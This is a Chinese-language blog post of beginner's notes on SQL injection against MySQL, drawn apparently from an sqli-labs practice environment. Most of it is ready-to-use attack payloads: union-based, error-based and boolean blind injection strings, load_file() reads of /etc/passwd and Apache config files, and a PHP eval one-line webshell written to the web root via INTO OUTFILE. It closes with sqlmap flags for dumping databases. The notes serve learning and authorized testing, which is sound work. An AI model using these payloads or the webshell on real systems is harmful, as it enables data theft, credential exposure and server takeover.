3_初学sql注入

sql注入的分类:布尔型 报错型 可联合查询型 多语句查询型 基于时间延迟注入

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

3.多条数据显示

concat(str1,str2.....)  可以连接一个或多个字符串,返回结果为连接参数产生的字符串,连接每一行的列
group_concat()  把所有的行连成一行,以逗号分开
concat_ws(separator,str1,str2......)  第一个参数是分隔符,如果分隔符为空,则结果为空。

4.相关函数:

system_user() 系统用户名
user() 用户名
current_user 当前用户名

length()  获取长度
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径

一.sql一般注入语句(联合查询:主要是找显示位):

猜字段 order by n --+

再通过union select 联合查询,爆出显示位 union select 1,2,3...

可以根据php内建函数,查看mysql相关信息

table_schema  获取所有数据库
table_name   获取表
column_name  获取字段

查询数据库

union select 1,2,table_schema from information_schema.columns --+

查询表名

union select 1,2,table_name from information_schema.columns where table_schema='查询到的数据库名' --+

查询字段

union select 1,2,column_name from information_schema.columns where table_name='查询到的表名' --+

查询数据

union select 1,2,group_concat(字段1,字段2......) from 数据库.表名 --+

二.sql报错注入(环境:主要是构造错误,不过公式里已经构造好了,在这里不能和group_concat()同时用,要用limit)

and(select 1 from(select count(*),concat((select (select ( payload )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

在payload处,写入自己的sql语句。

查询当前登录的数据库

+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查询数据库

+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,table_schema,0x7e) from information_schema.columns limit 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--+

查询表

+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,table_name,0x7e) from information_schema.columns where table_schema="数据库名" limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查询字段

+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,column_name,0x7e) from information_schema.columns where table_name="表名" limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查看有多少个字段

+and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,count(column_name),0x7e) from information_schema.columns where table_name="表名" limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查看数据

+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,Host,0x7e,User,0x7e,Password) from 数据库名.表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

三.sql一般盲注(布尔型)(环境:没有显示位,没有出错,只能从页面返回正常和不正常判断):

exists()   有返回结果输出1,没返回结果输出0

ascii()   返回最左边字符的ascii码

substr(string string ,num start,num length)  返回一个字符串的子串  string为一个字符串,start为起始位置,length为取几个    mysql的起始位置默认从1开始

 length()  返回字符串长度

判断表存在不存在

id=1' and exists(select * from information_schema.tables) --+

 

判断version()返回字符串的长度(6)

id=1' and (select length(version())) >6 --+

 

判断有多少个库(4)

id=1' and (select count(distinct+table_schema) from information_schema.tables) >3 --+

 

第%d个数据库名的字符串长度

id=1' and (select length((select table_schema from information_schema.tables limit %d,1)) > 17) --+ 

知道数据库名的长度后,再依次查看每个字符串,连接起来就是库名

 

第%d1个库的第%d2个字符的ascii码  依次类推可以得到数据库名

id=1' and (select ascii(substr((select distinct table_schema from information_schema.tables limit %d1,1),%d2,1))) >104 --+

 

获取当前数据库的第%d个表名的字符串长度 (3)

id=1' and (select count(table_name) from information_schema.tables where table_schema=database() limit %d,1) > 3 --+

获取当前数据库的第一个表名的第一个字符的ascii码  以此类推 可以得到表名

id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100) --+

 

获取当前数据库的emails表的第1列列名的第1个字符的length (2)

id=1' and ((select length(column_name) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1) >2)  --+

当前数据库的emails表的第1列 列名的第1个字符的length : 2

获取当前数据库的emails表的第1列 列名的第一个字符(104) 以此类推 获取列名

 

id=1' and ((select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1) >104)  --+

 

获取emails表里第一行内容的字符串长度(16)

id=1' and ((select length(email_id) from emails limit 0,1) > 15) --+

 

获取emails表里第一行内容的第一个字符串的ascii码(68)

id=1' and ((select ascii(substr(email_id,1,1)) from emails limit 0,1) > 67) --+

 

mysql root读写文件

两个函数:

 load_file()   读文件内容并以字符形式显示出来,可以读取连接数据库的配置文件,首先要知道文件的绝对路径和对文件有读权限(默认是mysql)

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有读权限

into_outfile()   把select的结果写入到文件

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有写权限

没有过滤'

 

获得网站绝对路径的方法:

php报错显示绝对路径

load_file读web配置文件  然后在Document这可以知道网站根目录

phpinfo.php  info.php

 

php一句话木马:

select '<?php @eval($_POST["123456"]);?>'  INTO  OUTFILE '/var/www/html/a.php'

123456是连接菜刀的密码,a.php是你写入的木马文件名   /var/www/html 是网站根目录

 

以实验室的环境为例:

select 1,2,load_file('/etc/passwd') 先随便读取一个看看

id=18799' union select 1,2,load_file('/etc/init.d/httpd')--+  可以得到配置文件路径

union select 1,2,load_file('/etc/httpd/conf/httpd.conf')  得到网站根目录 

(得到网站根目录后,怎么查看根目录下有哪些文件,具体是怎么得到数据库用户名和密码?因为访问网页的内容,肯定是连接数据库了,意思就是怎么得到连接数 据库的用户名和密码的?答:访问网站,在网页点击,然后查看网页源码,看有哪些配置文件,再用load_file()去读取,再查看源码,有php标签的 在网页显示不出来,要看源码)

然后就可以往根目录写一句话木马了,但前提是要对web根目录具有写权限,不然就没办法获取webshell了

例子

http://172.21.50.66/Less-1/?id=18799' union select 1,2,'<?php @eval($_POST["123456"]);?>' into outfile '/tmp/aa.php' --+

然后

http://172.21.50.66/Less-1/?id=18799' union select 1,2,load_file('/tmp/aa.php') --+

然后查看源代码。就看到写的文件了。

四.sqlmap简单用法

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行指令。

sqlmap枚举数据:

users,password hashes,privileges,roles,databases,tables and columns

当给sqlmap这么一个url的时候,它会:

1.判断可注入的参数

2.判断可以用那种sql注入技术来注入

3.识别出哪种数据库

4.根据用户选择,读取哪些数据

回显等级(参数-v)

0、只显示python错误以及严重的信息

1、同时显示基本信息和警告信息

2、同时显示debug信息

3、同时显示注入的payload

4、同时显示HTTP请求

5、同时显示HTTP响应头

6、同时显示HTTP响应页面

 

列数据:

-b

--dbs

--current-db

--tables -D database_name

--columns -T table_name -D database_name

--dump -C column_1,column_2 -T table_name -D database_name

--dump -T table_name -D database_name --start=1 --stop=5

--count -T table_name -D database_name

 

参考资料:

http://drops.wooyun.org/tips/143

http://www.freebuf.com/articles/web/29942.html

http://www.freebuf.com/articles/web/31568.html

posted on 2016-08-26 16:02  Time_dog  阅读(423)  评论(0编辑  收藏  举报

导航